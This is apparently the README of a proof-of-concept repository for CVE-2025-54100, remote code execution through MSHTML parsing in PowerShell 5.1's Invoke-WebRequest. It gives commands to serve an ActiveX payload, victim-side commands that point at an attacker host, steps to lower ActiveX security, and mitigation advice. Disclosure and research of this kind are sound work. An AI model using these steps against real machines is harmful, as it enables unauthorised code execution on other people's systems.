A concise Proof-of-Concept showing how CVE-2025-54100 can lead to Remote Code Execution (RCE) in Windows PowerShell 5.1 through malicious HTML parsing.

• What is CVE-2025-54100?
• How the PoC Works
• Quick Start
• Triggering From a Victim Host
• Troubleshooting & Verification
• Evidence
• Mitigation
• Disclaimer
• References

• Type: Command injection in Invoke-WebRequest when not using -UseBasicParsing
• Severity: CVSS 7.8 (High)
• Root cause: MSHTML-based parsing of HTML responses allows script execution (e.g., ActiveXObject) in the caller’s context.
• Affected: Windows 10/11 and Windows Server 2008-2025 running PowerShell 5.1.

1. The FastAPI server in CVE-2025-54100.py serves a crafted HTML payload.
2. The payload attempts to instantiate WScript.Shell / Shell.Application ActiveX objects.
3. On vulnerable hosts, the MSHTML parser executes the script, demonstrating RCE by launching calc.exe.
4. The supplied payload is intentionally minimal and non-destructive but can be modified for further research.

• Python 3.10+ (tested with FastAPI & Uvicorn)
• Install dependencies:

  python3 -m venv .venv
  source .venv/bin/activate
  pip3 install -r requirements.txt

Start the PoC HTTP server:

uvicorn app:app --host 0.0.0.0  --port 8888 --reload

Run these on a vulnerable Windows machine without -UseBasicParsing:

# Invoke-WebRequest
Invoke-WebRequest -Uri "http://<attacker-ip>:8888"
# curl alias
curl http://<attacker-ip>:8888
# mshta
mshta http://<attacker-ip>:8888

Use the same port you configured for the server. If vulnerable, the embedded script executes via the MSHTML parser. Some AV products may block the behavior even though the parsing issue is present.

If calc.exe does not appear:

1. Open Internet Options on the victim.
2. Go to Security → Custom level...
3. Enable “Initialize and script ActiveX controls not marked as safe for scripting.”
4. Re-run Invoke-WebRequest without -UseBasicParsing.

This demonstrates the execution vector. Real-world payloads may use obfuscation or additional bypasses to evade default restrictions.

Microsoft patched the issue in December 2025:

1. Apply security updates on affected Windows hosts.
2. Use -UseBasicParsing to avoid MSHTML parsing:

   Invoke-WebRequest -Uri "http://<attacker-ip>:8888" -UseBasicParsing

3. Move to PowerShell 7+ (pwsh), which does not rely on MSHTML for parsing.

• NVD: CVE-2025-54100
• MSRC: Update Guide
• GitHub: osman1337-security/CVE-2025-54100